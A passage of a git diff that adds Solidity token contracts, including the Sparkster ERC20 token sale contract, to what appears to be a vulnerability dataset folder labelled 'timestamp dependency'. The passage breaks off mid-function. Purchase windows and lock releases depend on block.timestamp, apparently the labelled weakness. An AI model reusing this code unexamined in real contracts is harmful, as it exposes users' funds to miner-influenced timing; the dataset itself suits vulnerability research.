storage tokenLock = tokenTimeLocks[_beneficiary][_id]; + tokenLock.revoked = true; + require(token.transfer(owner, tokenLock.amount)); + emit TokenTimelockRevoked(_beneficiary); + } + + + function getTokenTimelockCount(address _beneficiary) view external returns (uint) { + return tokenTimeLocks[_beneficiary].length; + } + + + function getTokenTimelockDetails(address _beneficiary, uint256 _id) view external returns ( + uint256 _amount, + uint256 _releaseTime, + bool _released, + bool _revocable, + bool _revoked) + { + require(_id < tokenTimeLocks[_beneficiary].length); + _amount = tokenTimeLocks[_beneficiary][_id].amount; + _releaseTime = tokenTimeLocks[_beneficiary][_id].releaseTime; + _released = tokenTimeLocks[_beneficiary][_id].released; + _revocable = tokenTimeLocks[_beneficiary][_id].revocable; + _revoked = tokenTimeLocks[_beneficiary][_id].revoked; + } + + + function changeBeneficiary(uint256 _id, address _newBeneficiary) external onlyWhenActivated onlyValidTokenTimelock(msg.sender, _id) { + tokenTimeLocks[_newBeneficiary].push(tokenTimeLocks[msg.sender][_id]); + if (tokenTimeLocks[msg.sender].length > 1) { + tokenTimeLocks[msg.sender][_id] = tokenTimeLocks[msg.sender][tokenTimeLocks[msg.sender].length.sub(1)]; + delete(tokenTimeLocks[msg.sender][tokenTimeLocks[msg.sender].length.sub(1)]); + } + tokenTimeLocks[msg.sender].length--; + emit TokenTimelockBeneficiaryChanged(msg.sender, _newBeneficiary); + } + + + function release(uint256 _id) external { + releaseFor(msg.sender, _id); + } + + + function releaseFor(address _beneficiary, uint256 _id) public onlyWhenActivated onlyValidTokenTimelock(_beneficiary, _id) { + TokenTimelock storage tokenLock = tokenTimeLocks[_beneficiary][_id]; + require(!tokenLock.released); + + require(block.timestamp >= tokenLock.releaseTime); + tokenLock.released = true; + require(token.transfer(_beneficiary, tokenLock.amount)); + emit TokenTimelockReleased(_beneficiary, tokenLock.amount); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6592.sol b/smart_contract_dataset/timestamp dependency/6592.sol new file mode 100644 index 0000000000000000000000000000000000000000..8a550cbd2048ac07af3e6b5424556f7948a620a6 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6592.sol @@ -0,0 +1,1352 @@ +pragma solidity 0.4.24; + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } + +} + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom( + address _from, + address _to, + uint256 _value + ) + public + returns (bool) + { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance( + address _owner, + address _spender + ) + public + view + returns (uint256) + { + return allowed[_owner][_spender]; + } + + + function increaseApproval( + address _spender, + uint256 _addedValue + ) + public + returns (bool) + { + allowed[msg.sender][_spender] = ( + allowed[msg.sender][_spender].add(_addedValue)); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval( + address _spender, + uint256 _subtractedValue + ) + public + returns (bool) + { + uint256 oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + + + +library strings { + struct slice { + uint _len; + uint _ptr; + } + + function memcpy(uint dest, uint src, uint len) private pure { + + for(; len >= 32; len -= 32) { + assembly { + mstore(dest, mload(src)) + } + dest += 32; + src += 32; + } + + + uint mask = 256 ** (32 - len) - 1; + assembly { + let srcpart := and(mload(src), not(mask)) + let destpart := and(mload(dest), mask) + mstore(dest, or(destpart, srcpart)) + } + } + + + function toSlice(string self) internal pure returns (slice) { + uint ptr; + assembly { + ptr := add(self, 0x20) + } + return slice(bytes(self).length, ptr); + } + + + function len(bytes32 self) internal pure returns (uint) { + uint ret; + if (self == 0) + return 0; + if (self & 0xffffffffffffffffffffffffffffffff == 0) { + ret += 16; + self = bytes32(uint(self) / 0x100000000000000000000000000000000); + } + if (self & 0xffffffffffffffff == 0) { + ret += 8; + self = bytes32(uint(self) / 0x10000000000000000); + } + if (self & 0xffffffff == 0) { + ret += 4; + self = bytes32(uint(self) / 0x100000000); + } + if (self & 0xffff == 0) { + ret += 2; + self = bytes32(uint(self) / 0x10000); + } + if (self & 0xff == 0) { + ret += 1; + } + return 32 - ret; + } + + + function toSliceB32(bytes32 self) internal pure returns (slice ret) { + + assembly { + let ptr := mload(0x40) + mstore(0x40, add(ptr, 0x20)) + mstore(ptr, self) + mstore(add(ret, 0x20), ptr) + } + ret._len = len(self); + } + + + function copy(slice self) internal pure returns (slice) { + return slice(self._len, self._ptr); + } + + + function toString(slice self) internal pure returns (string) { + string memory ret = new string(self._len); + uint retptr; + assembly { retptr := add(ret, 32) } + + memcpy(retptr, self._ptr, self._len); + return ret; + } + + + function len(slice self) internal pure returns (uint l) { + + uint ptr = self._ptr - 31; + uint end = ptr + self._len; + for (l = 0; ptr < end; l++) { + uint8 b; + assembly { b := and(mload(ptr), 0xFF) } + if (b < 0x80) { + ptr += 1; + } else if(b < 0xE0) { + ptr += 2; + } else if(b < 0xF0) { + ptr += 3; + } else if(b < 0xF8) { + ptr += 4; + } else if(b < 0xFC) { + ptr += 5; + } else { + ptr += 6; + } + } + } + + + function empty(slice self) internal pure returns (bool) { + return self._len == 0; + } + + + function compare(slice self, slice other) internal pure returns (int) { + uint shortest = self._len; + if (other._len < self._len) + shortest = other._len; + + uint selfptr = self._ptr; + uint otherptr = other._ptr; + for (uint idx = 0; idx < shortest; idx += 32) { + uint a; + uint b; + assembly { + a := mload(selfptr) + b := mload(otherptr) + } + if (a != b) { + + uint256 mask = uint256(-1); + if(shortest < 32) { + mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); + } + uint256 diff = (a & mask) - (b & mask); + if (diff != 0) + return int(diff); + } + selfptr += 32; + otherptr += 32; + } + return int(self._len) - int(other._len); + } + + + function equals(slice self, slice other) internal pure returns (bool) { + return compare(self, other) == 0; + } + + + function nextRune(slice self, slice rune) internal pure returns (slice) { + rune._ptr = self._ptr; + + if (self._len == 0) { + rune._len = 0; + return rune; + } + + uint l; + uint b; + + assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } + if (b < 0x80) { + l = 1; + } else if(b < 0xE0) { + l = 2; + } else if(b < 0xF0) { + l = 3; + } else { + l = 4; + } + + + if (l > self._len) { + rune._len = self._len; + self._ptr += self._len; + self._len = 0; + return rune; + } + + self._ptr += l; + self._len -= l; + rune._len = l; + return rune; + } + + + function nextRune(slice self) internal pure returns (slice ret) { + nextRune(self, ret); + } + + + function ord(slice self) internal pure returns (uint ret) { + if (self._len == 0) { + return 0; + } + + uint word; + uint length; + uint divisor = 2 ** 248; + + + assembly { word:= mload(mload(add(self, 32))) } + uint b = word / divisor; + if (b < 0x80) { + ret = b; + length = 1; + } else if(b < 0xE0) { + ret = b & 0x1F; + length = 2; + } else if(b < 0xF0) { + ret = b & 0x0F; + length = 3; + } else { + ret = b & 0x07; + length = 4; + } + + + if (length > self._len) { + return 0; + } + + for (uint i = 1; i < length; i++) { + divisor = divisor / 256; + b = (word / divisor) & 0xFF; + if (b & 0xC0 != 0x80) { + + return 0; + } + ret = (ret * 64) | (b & 0x3F); + } + + return ret; + } + + + function keccak(slice self) internal pure returns (bytes32 ret) { + assembly { + ret := keccak256(mload(add(self, 32)), mload(self)) + } + } + + + function startsWith(slice self, slice needle) internal pure returns (bool) { + if (self._len < needle._len) { + return false; + } + + if (self._ptr == needle._ptr) { + return true; + } + + bool equal; + assembly { + let length := mload(needle) + let selfptr := mload(add(self, 0x20)) + let needleptr := mload(add(needle, 0x20)) + equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) + } + return equal; + } + + + function beyond(slice self, slice needle) internal pure returns (slice) { + if (self._len < needle._len) { + return self; + } + + bool equal = true; + if (self._ptr != needle._ptr) { + assembly { + let length := mload(needle) + let selfptr := mload(add(self, 0x20)) + let needleptr := mload(add(needle, 0x20)) + equal := eq(sha3(selfptr, length), sha3(needleptr, length)) + } + } + + if (equal) { + self._len -= needle._len; + self._ptr += needle._len; + } + + return self; + } + + + function endsWith(slice self, slice needle) internal pure returns (bool) { + if (self._len < needle._len) { + return false; + } + + uint selfptr = self._ptr + self._len - needle._len; + + if (selfptr == needle._ptr) { + return true; + } + + bool equal; + assembly { + let length := mload(needle) + let needleptr := mload(add(needle, 0x20)) + equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) + } + + return equal; + } + + + function until(slice self, slice needle) internal pure returns (slice) { + if (self._len < needle._len) { + return self; + } + + uint selfptr = self._ptr + self._len - needle._len; + bool equal = true; + if (selfptr != needle._ptr) { + assembly { + let length := mload(needle) + let needleptr := mload(add(needle, 0x20)) + equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) + } + } + + if (equal) { + self._len -= needle._len; + } + + return self; + } + + event log_bytemask(bytes32 mask); + + + + function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { + uint ptr = selfptr; + uint idx; + + if (needlelen <= selflen) { + if (needlelen <= 32) { + bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); + + bytes32 needledata; + assembly { needledata := and(mload(needleptr), mask) } + + uint end = selfptr + selflen - needlelen; + bytes32 ptrdata; + assembly { ptrdata := and(mload(ptr), mask) } + + while (ptrdata != needledata) { + if (ptr >= end) + return selfptr + selflen; + ptr++; + assembly { ptrdata := and(mload(ptr), mask) } + } + return ptr; + } else { + + bytes32 hash; + assembly { hash := sha3(needleptr, needlelen) } + + for (idx = 0; idx <= selflen - needlelen; idx++) { + bytes32 testHash; + assembly { testHash := sha3(ptr, needlelen) } + if (hash == testHash) + return ptr; + ptr += 1; + } + } + } + return selfptr + selflen; + } + + + + function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { + uint ptr; + + if (needlelen <= selflen) { + if (needlelen <= 32) { + bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); + + bytes32 needledata; + assembly { needledata := and(mload(needleptr), mask) } + + ptr = selfptr + selflen - needlelen; + bytes32 ptrdata; + assembly { ptrdata := and(mload(ptr), mask) } + + while (ptrdata != needledata) { + if (ptr <= selfptr) + return selfptr; + ptr--; + assembly { ptrdata := and(mload(ptr), mask) } + } + return ptr + needlelen; + } else { + + bytes32 hash; + assembly { hash := sha3(needleptr, needlelen) } + ptr = selfptr + (selflen - needlelen); + while (ptr >= selfptr) { + bytes32 testHash; + assembly { testHash := sha3(ptr, needlelen) } + if (hash == testHash) + return ptr + needlelen; + ptr -= 1; + } + } + } + return selfptr; + } + + + function find(slice self, slice needle) internal pure returns (slice) { + uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); + self._len -= ptr - self._ptr; + self._ptr = ptr; + return self; + } + + + function rfind(slice self, slice needle) internal pure returns (slice) { + uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); + self._len = ptr - self._ptr; + return self; + } + + + function split(slice self, slice needle, slice token) internal pure returns (slice) { + uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); + token._ptr = self._ptr; + token._len = ptr - self._ptr; + if (ptr == self._ptr + self._len) { + + self._len = 0; + } else { + self._len -= token._len + needle._len; + self._ptr = ptr + needle._len; + } + return token; + } + + + function split(slice self, slice needle) internal pure returns (slice token) { + split(self, needle, token); + } + + + function rsplit(slice self, slice needle, slice token) internal pure returns (slice) { + uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); + token._ptr = ptr; + token._len = self._len - (ptr - self._ptr); + if (ptr == self._ptr) { + + self._len = 0; + } else { + self._len -= token._len + needle._len; + } + return token; + } + + + function rsplit(slice self, slice needle) internal pure returns (slice token) { + rsplit(self, needle, token); + } + + + function count(slice self, slice needle) internal pure returns (uint cnt) { + uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len; + while (ptr <= self._ptr + self._len) { + cnt++; + ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; + } + } + + + function contains(slice self, slice needle) internal pure returns (bool) { + return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr; + } + + + function concat(slice self, slice other) internal pure returns (string) { + string memory ret = new string(self._len + other._len); + uint retptr; + assembly { retptr := add(ret, 32) } + memcpy(retptr, self._ptr, self._len); + memcpy(retptr + self._len, other._ptr, other._len); + return ret; + } + + + function join(slice self, slice[] parts) internal pure returns (string) { + if (parts.length == 0) + return ""; + + uint length = self._len * (parts.length - 1); + for(uint i = 0; i < parts.length; i++) + length += parts[i]._len; + + string memory ret = new string(length); + uint retptr; + assembly { retptr := add(ret, 32) } + + for(i = 0; i < parts.length; i++) { + memcpy(retptr, parts[i]._ptr, parts[i]._len); + retptr += parts[i]._len; + if (i < parts.length - 1) { + memcpy(retptr, self._ptr, self._len); + retptr += self._len; + } + } + + return ret; + } +} + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + +pragma solidity 0.4.24; + +contract SparksterToken is StandardToken, Ownable{ + using strings for *; + using SafeMath for uint256; + struct Member { + address walletAddress; + mapping(uint256 => bool) groupMemberships; + mapping(uint256 => uint256) ethBalance; + mapping(uint256 => uint256) tokenBalance; + uint256 max1; + int256 transferred; + bool exists; + } + + struct Group { + bool distributed; + bool distributing; + bool unlocked; + uint256 groupNumber; + uint256 ratio; + uint256 startTime; + uint256 phase1endTime; + uint256 phase2endTime; + uint256 deadline; + uint256 max2; + uint256 max3; + uint256 ethTotal; + uint256 cap; + uint256 howManyDistributed; + } + + bool internal transferLock = true; + bool internal allowedToSell = false; + bool internal allowedToPurchase = false; + string public name; + string public symbol; + uint8 public decimals; + uint256 internal maxGasPrice; + uint256 internal nextGroupNumber; + uint256 public sellPrice; + address[] internal allMembers; + address[] internal allNonMembers; + mapping(address => bool) internal nonMemberTransfers; + mapping(address => Member) internal members; + mapping(uint256 => Group) internal groups; + mapping(uint256 => address[]) internal associations; + uint256 internal openGroupNumber; + event PurchaseSuccess(address indexed _addr, uint256 _weiAmount,uint256 _totalEthBalance,uint256 _totalTokenBalance); + event DistributeDone(uint256 groupNumber); + event UnlockDone(uint256 groupNumber); + event GroupCreated(uint256 groupNumber, uint256 startTime, uint256 phase1endTime, uint256 phase2endTime, uint256 deadline, uint256 phase2cap, uint256 phase3cap, uint256 cap, uint256 ratio); + event ChangedAllowedToSell(bool allowedToSell); + event ChangedAllowedToPurchase(bool allowedToPurchase); + event ChangedTransferLock(bool transferLock); + event SetSellPrice(uint256 sellPrice); + event Added(address walletAddress, uint256 group, uint256 tokens, uint256 maxContribution1); + event SplitTokens(uint256 splitFactor); + event ReverseSplitTokens(uint256 splitFactor); + + + modifier onlyPayloadSize(uint size) { + require(msg.data.length == size + 4); + _; + } + + modifier canTransfer() { + require(!transferLock); + _; + } + + modifier canPurchase() { + require(allowedToPurchase); + _; + } + + modifier canSell() { + require(allowedToSell); + _; + } + + function() public payable { + purchase(); + } + + constructor() public { + name = "Sparkster"; + decimals = 18; + symbol = "SPRK"; + setMaximumGasPrice(40); + + mintTokens(435000000); + } + + function setMaximumGasPrice(uint256 gweiPrice) public onlyOwner returns(bool success) { + maxGasPrice = gweiPrice.mul(10**9); + return true; + } + + function parseAddr(string _a) pure internal returns (address){ + bytes memory tmp = bytes(_a); + uint160 iaddr = 0; + uint160 b1; + uint160 b2; + for (uint i=2; i<2+2*20; i+=2){ + iaddr *= 256; + b1 = uint160(tmp[i]); + b2 = uint160(tmp[i+1]); + if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; + else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; + if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; + else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; + iaddr += (b1*16+b2); + } + return address(iaddr); + } + + function parseInt(string _a, uint _b) pure internal returns (uint) { + bytes memory bresult = bytes(_a); + uint mint = 0; + bool decim = false; + for (uint i = 0; i < bresult.length; i++) { + if ((bresult[i] >= 48) && (bresult[i] <= 57)) { + if (decim) { + if (_b == 0) break; + else _b--; + } + mint *= 10; + mint += uint(bresult[i]) - 48; + } else if (bresult[i] == 46) decim = true; + } + return mint; + } + + function mintTokens(uint256 amount) public onlyOwner { + + uint256 decimalAmount = amount.mul(uint(10)**decimals); + totalSupply_ = totalSupply_.add(decimalAmount); + balances[msg.sender] = balances[msg.sender].add(decimalAmount); + emit Transfer(address(0), msg.sender, decimalAmount); + } + + function purchase() public canPurchase payable{ + require(msg.sender != address(0)); + Member storage memberRecord = members[msg.sender]; + Group storage openGroup = groups[openGroupNumber]; + require(openGroup.ratio > 0); + require(memberRecord.exists && memberRecord.groupMemberships[openGroup.groupNumber] && !openGroup.distributing && !openGroup.distributed && !openGroup.unlocked); + uint256 currentTimestamp = block.timestamp; + require(currentTimestamp >= openGroup.startTime && currentTimestamp <= openGroup.deadline); + require(tx.gasprice <= maxGasPrice); + uint256 weiAmount = msg.value; + require(weiAmount >= 0.1 ether); + uint256 ethTotal = openGroup.ethTotal.add(weiAmount); + require(ethTotal <= openGroup.cap); + uint256 userETHTotal = memberRecord.ethBalance[openGroup.groupNumber].add(weiAmount); + if(currentTimestamp <= openGroup.phase1endTime){ + require(userETHTotal <= memberRecord.max1); + } else if (currentTimestamp <= openGroup.phase2endTime) { + require(userETHTotal <= openGroup.max2); + } else { + require(userETHTotal <= openGroup.max3); + } + uint256 tokenAmount = weiAmount.mul(openGroup.ratio); + uint256 newLeftOver = balances[owner].sub(tokenAmount); + openGroup.ethTotal = ethTotal; + memberRecord.ethBalance[openGroup.groupNumber] = userETHTotal; + memberRecord.tokenBalance[openGroup.groupNumber] = memberRecord.tokenBalance[openGroup.groupNumber].add(tokenAmount); + balances[owner] = newLeftOver; + owner.transfer(weiAmount); + emit PurchaseSuccess(msg.sender,weiAmount,memberRecord.ethBalance[openGroup.groupNumber],memberRecord.tokenBalance[openGroup.groupNumber]); + } + + function sell(uint256 amount) public canSell { + uint256 decimalAmount = amount.mul(uint(10)**decimals); + if (members[msg.sender].exists) { + int256 sellValue = members[msg.sender].transferred + int(decimalAmount); + require(sellValue >= members[msg.sender].transferred); + require(sellValue <= int(getUnlockedBalanceLimit(msg.sender))); + members[msg.sender].transferred = sellValue; + } + balances[msg.sender] = balances[msg.sender].sub(decimalAmount); + + uint256 totalCost = amount.mul(sellPrice); + require(address(this).balance >= totalCost); + balances[owner] = balances[owner].add(decimalAmount); + msg.sender.transfer(totalCost); + emit Transfer(msg.sender, owner, decimalAmount); + } + + function fundContract() public onlyOwner payable { + } + + function setSellPrice(uint256 thePrice) public onlyOwner { + sellPrice = thePrice; + emit SetSellPrice(sellPrice); + } + + function setAllowedToSell(bool value) public onlyOwner { + allowedToSell = value; + emit ChangedAllowedToSell(allowedToSell); + } + + function setAllowedToPurchase(bool value) public onlyOwner { + allowedToPurchase = value; + emit ChangedAllowedToPurchase(allowedToPurchase); + } + + function createGroup(uint256 startEpoch, uint256 phase1endEpoch, uint256 phase2endEpoch, uint256 deadlineEpoch, uint256 phase2cap, uint256 phase3cap, uint256 etherCap, uint256 ratio) public onlyOwner returns (bool success, uint256 createdGroupNumber) { + Group storage theGroup = groups[nextGroupNumber]; + theGroup.groupNumber = nextGroupNumber; + theGroup.startTime = startEpoch; + theGroup.phase1endTime = phase1endEpoch; + theGroup.phase2endTime = phase2endEpoch; + theGroup.deadline = deadlineEpoch; + theGroup.max2 = phase2cap; + theGroup.max3 = phase3cap; + theGroup.cap = etherCap; + theGroup.ratio = ratio; + createdGroupNumber = nextGroupNumber; + nextGroupNumber++; + success = true; + emit GroupCreated(createdGroupNumber, startEpoch, phase1endEpoch, phase2endEpoch, deadlineEpoch, phase2cap, phase3cap, etherCap, ratio); + } + + function createGroup() public onlyOwner returns (bool success, uint256 createdGroupNumber) { + return createGroup(0, 0, 0, 0, 0, 0, 0, 0); + } + + function getGroup(uint256 groupNumber) public view onlyOwner returns(bool distributed, bool unlocked, uint256 phase2cap, uint256 phase3cap, uint256 cap, uint256 ratio, uint256 startTime, uint256 phase1endTime, uint256 phase2endTime, uint256 deadline, uint256 ethTotal, uint256 howManyDistributed) { + require(groupNumber < nextGroupNumber); + Group storage theGroup = groups[groupNumber]; + distributed = theGroup.distributed; + unlocked = theGroup.unlocked; + phase2cap = theGroup.max2; + phase3cap = theGroup.max3; + cap = theGroup.cap; + ratio = theGroup.ratio; + startTime = theGroup.startTime; + phase1endTime = theGroup.phase1endTime; + phase2endTime = theGroup.phase2endTime; + deadline = theGroup.deadline; + ethTotal = theGroup.ethTotal; + howManyDistributed = theGroup.howManyDistributed; + } + + function getHowManyLeftToDistribute(uint256 groupNumber) public view returns(uint256 howManyLeftToDistribute) { + require(groupNumber < nextGroupNumber); + Group storage theGroup = groups[groupNumber]; + howManyLeftToDistribute = associations[groupNumber].length - theGroup.howManyDistributed; + } + + function getMembersInGroup(uint256 groupNumber) public view returns (address[]) { + require(groupNumber < nextGroupNumber); + return associations[groupNumber]; + } + + function addMember(address walletAddress, uint256 groupNumber, uint256 tokens, uint256 maxContribution1) public onlyOwner returns (bool success) { + Member storage theMember = members[walletAddress]; + Group storage theGroup = groups[groupNumber]; + require(groupNumber < nextGroupNumber); + require(!theGroup.distributed && !theGroup.distributing && !theGroup.unlocked); + require(!theMember.exists); + theMember.walletAddress = walletAddress; + theMember.groupMemberships[groupNumber] = true; + balances[owner] = balances[owner].sub(tokens); + theMember.tokenBalance[groupNumber] = tokens; + theMember.max1 = maxContribution1; + theMember.transferred = -int(balances[walletAddress]); + theMember.exists = true; + associations[groupNumber].push(walletAddress); + + allMembers.push(walletAddress); + + emit Added(walletAddress, groupNumber, tokens, maxContribution1); + return true; + } + + function addMemberToGroup(address walletAddress, uint256 groupNumber) public onlyOwner returns(bool success) { + Member storage memberRecord = members[walletAddress]; + require(memberRecord.exists && groupNumber < nextGroupNumber && !memberRecord.groupMemberships[groupNumber]); + memberRecord.groupMemberships[groupNumber] = true; + associations[groupNumber].push(walletAddress); + return true; + } + function upload(string uploadedData) public onlyOwner returns (bool success) { + + strings.slice memory uploadedSlice = uploadedData.toSlice(); + strings.slice memory nextRecord = "".toSlice(); + strings.slice memory nextDatum = "".toSlice(); + strings.slice memory recordSeparator = "|".toSlice(); + strings.slice memory datumSeparator = ":".toSlice(); + while (!uploadedSlice.empty()) { + nextRecord = uploadedSlice.split(recordSeparator); + nextDatum = nextRecord.split(datumSeparator); + address memberAddress = parseAddr(nextDatum.toString()); + nextDatum = nextRecord.split(datumSeparator); + uint256 memberGroup = parseInt(nextDatum.toString(), 0); + nextDatum = nextRecord.split(datumSeparator); + uint256 memberTokens = parseInt(nextDatum.toString(), 0); + nextDatum = nextRecord.split(datumSeparator); + uint256 memberMaxContribution1 = parseInt(nextDatum.toString(), 0); + addMember(memberAddress, memberGroup, memberTokens, memberMaxContribution1); + } + return true; + } + + function distribute(uint256 groupNumber, uint256 howMany) public onlyOwner returns (bool success) { + Group storage theGroup = groups[groupNumber]; + require(groupNumber < nextGroupNumber && !theGroup.distributed ); + uint256 inclusiveStartIndex = theGroup.howManyDistributed; + uint256 exclusiveEndIndex = inclusiveStartIndex.add(howMany); + theGroup.distributing = true; + uint256 n = associations[groupNumber].length; + require(n > 0 ); + if (exclusiveEndIndex > n) { + exclusiveEndIndex = n; + } + for (uint256 i = inclusiveStartIndex; i < exclusiveEndIndex; i++) { + address memberAddress = associations[groupNumber][i]; + Member storage currentMember = members[memberAddress]; + uint256 balance = currentMember.tokenBalance[groupNumber]; + if (balance > 0) { + balances[memberAddress] = balances[memberAddress].add(balance); + emit Transfer(owner, memberAddress, balance); + } + theGroup.howManyDistributed++; + } + if (theGroup.howManyDistributed == n) { + theGroup.distributed = true; + theGroup.distributing = false; + emit DistributeDone(groupNumber); + } + return true; + } + + function getUnlockedBalanceLimit(address walletAddress) internal view returns(uint256 balance) { + Member storage theMember = members[walletAddress]; + if (!theMember.exists) { + return balances[walletAddress]; + } + for (uint256 i = 0; i < nextGroupNumber; i++) { + if (groups[i].unlocked) { + balance = balance.add(theMember.tokenBalance[i]); + } + } + return balance; + } + + function getUnlockedTokens(address walletAddress) public view returns(uint256 balance) { + Member storage theMember = members[walletAddress]; + if (!theMember.exists) { + return balances[walletAddress]; + } + return uint256(int(getUnlockedBalanceLimit(walletAddress)) - theMember.transferred); + } + + function unlock(uint256 groupNumber) public onlyOwner returns (bool success) { + Group storage theGroup = groups[groupNumber]; + require(theGroup.distributed && !theGroup.unlocked); + theGroup.unlocked = true; + emit UnlockDone(groupNumber); + return true; + } + + function setTransferLock(bool value) public onlyOwner { + transferLock = value; + emit ChangedTransferLock(transferLock); + } + + function burn(uint256 amount) public onlyOwner { + + + balances[msg.sender] = balances[msg.sender].sub(amount); + totalSupply_ = totalSupply_.sub(amount); + emit Transfer(msg.sender, address(0), amount); + } + + function splitTokensBeforeDistribution(uint256 splitFactor) public onlyOwner returns (bool success) { + + uint256 n = allMembers.length; + uint256 ownerBalance = balances[msg.sender]; + uint256 increaseSupplyBy = ownerBalance.mul(splitFactor).sub(ownerBalance); + balances[msg.sender] = balances[msg.sender].mul(splitFactor); + totalSupply_ = totalSupply_.mul(splitFactor); + emit Transfer(address(0), msg.sender, increaseSupplyBy); + for (uint256 i = 0; i < n; i++) { + Member storage currentMember = members[allMembers[i]]; + + currentMember.transferred = currentMember.transferred * int(splitFactor); + + for (uint256 j = 0; j < nextGroupNumber; j++) { + uint256 memberBalance = currentMember.tokenBalance[j]; + uint256 multiplier = memberBalance.mul(splitFactor); + currentMember.tokenBalance[j] = multiplier; + } + } + + n = nextGroupNumber; + require(n > 0); + for (i = 0; i < n; i++) { + Group storage currentGroup = groups[i]; + currentGroup.ratio = currentGroup.ratio.mul(splitFactor); + } + emit SplitTokens(splitFactor); + return true; + } + + function reverseSplitTokensBeforeDistribution(uint256 splitFactor) public onlyOwner returns (bool success) { + + uint256 n = allMembers.length; + uint256 ownerBalance = balances[msg.sender]; + uint256 decreaseSupplyBy = ownerBalance.sub(ownerBalance.div(splitFactor)); + + totalSupply_ = totalSupply_.div(splitFactor); + balances[msg.sender] = ownerBalance.div(splitFactor); + + emit Transfer(msg.sender, address(0), decreaseSupplyBy); + for (uint256 i = 0; i < n; i++) { + Member storage currentMember = members[allMembers[i]]; + + currentMember.transferred = currentMember.transferred / int(splitFactor); + for (uint256 j = 0; j < nextGroupNumber; j++) { + uint256 memberBalance = currentMember.tokenBalance[j]; + uint256 divier = memberBalance.div(splitFactor); + currentMember.tokenBalance[j] = divier; + } + } + + n = nextGroupNumber; + require(n > 0); + for (i = 0; i < n; i++) { + Group storage currentGroup = groups[i]; + currentGroup.ratio = currentGroup.ratio.div(splitFactor); + } + emit ReverseSplitTokens(splitFactor); + return true; + } + + function splitTokensAfterDistribution(uint256 splitFactor) public onlyOwner returns (bool success) { + splitTokensBeforeDistribution(splitFactor); + uint256 n = allMembers.length; + for (uint256 i = 0; i < n; i++) { + address currentMember = allMembers[i]; + uint256 memberBalance = balances[currentMember]; + if (memberBalance > 0) { + uint256 multiplier1 = memberBalance.mul(splitFactor); + uint256 increaseMemberSupplyBy = multiplier1.sub(memberBalance); + balances[currentMember] = multiplier1; + emit Transfer(address(0), currentMember, increaseMemberSupplyBy); + } + } + n = allNonMembers.length; + for (i = 0; i < n; i++) { + address currentNonMember = allNonMembers[i]; + + if (members[currentNonMember].exists) { + continue; + } + uint256 